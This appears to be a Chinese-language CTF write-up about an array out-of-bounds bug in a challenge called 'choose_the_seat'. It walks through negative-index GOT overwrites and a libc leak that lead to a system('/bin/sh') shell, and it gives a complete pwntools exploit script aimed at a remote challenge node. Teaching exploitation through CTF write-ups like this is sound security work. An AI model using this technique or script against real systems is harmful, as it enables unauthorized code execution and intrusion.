一、作用
数组越界读写是一类较为常见的漏洞,造成的原因在于对数组
二、例题分析
choose_the_seat


程序仅仅检查了v0小于9,但是并没有检查输入值v0的正负
seats变量的位置是在bss区,我们可以通过改写got表来劫持控制流

第一次执行main函数
因为vuln函数结尾有一个exit函数,所以可以通过改写exit的got表来使得重复执行main函数来实现多次改写控制,通过计算位置(0x404040 - 0x4040A0) / 16= -96 / 16 = -6
所以可以通过第一次输入-6来控制read函数往exit的got表位置写入main函数的地址。
1 2 3 4
| #第一次执行main io.recvuntil(b'choose one.\n') io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行 io.sendline(p64(0x4012d1))
|
第二次执行main函数
第二次运行时候通过与第一次相似的计算可以将seat的地址指向read函数的got地址,然后puts函数就会输出read的地址,接收输出地址即可

1 2 3 4 5 6 7 8 9 10 11 12 13
| #第二次执行main io.recvuntil(b'choose one.\n') io.sendline(b'-7') #泄露read的got表地址 io.recvuntil(b'name') io.send(b'\xc0') #不能改变read的got地址 io.recvuntil(b'name is ') read_got = u64(io.recv(6).ljust(8,b'\x00')) print("read got >>>> " + hex(read_got)) #输出read got地址
#计算system binsh地址 libcbase = read_got - libc.symbols['read'] system = libcbase + libc.symbols['system'] print("libcbase >>>> " + hex(libcbase))
|
第三次执行main函数
将binsh写入并且改写puts地址为system函数获得shell
1 2 3 4 5 6 7
| #第三次执行main io.recvuntil(b'choose one.\n') io.sendline(b'-9') #覆盖 io.recvuntil(b'name') io.sendline(b'/bin/sh\x00' + p64(system)) io.interactive()
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
file = './vuln' #io = process(file) io = remote('node5.anna.nssctf.cn',23608) elf = ELF(file) context.log_level = 'debug' libc = ELF('./libc-2.31.so')
#第一次执行main io.recvuntil(b'choose one.\n') io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行 io.sendline(p64(0x4012d1))
#第二次执行main io.recvuntil(b'choose one.\n') io.sendline(b'-7') #泄露read的got表地址 io.recvuntil(b'name') io.send(b'\xc0') io.recvuntil(b'name is ') read_got = u64(io.recv(6).ljust(8,b'\x00')) print("read got >>>> " + hex(read_got)) #输出read got地址
#计算system binsh地址 libcbase = read_got - libc.symbols['read'] system = libcbase + libc.symbols['system'] print("libcbase >>>> " + hex(libcbase))
#第三次执行main io.recvuntil(b'choose one.\n') io.sendline(b'-9') #覆盖 io.recvuntil(b'name') io.sendline(b'/bin/sh\x00' + p64(system)) io.interactive()
|
在这道题过程中一直出了一个问题,一直打不通,经过了很长时间的检查才发现是(io.send(b’\xc0’))这一步一开始写的sendline就会导致多发送一个\n导致read的GOT表被改写,从而导致libcbase计算错误,确实是不细心了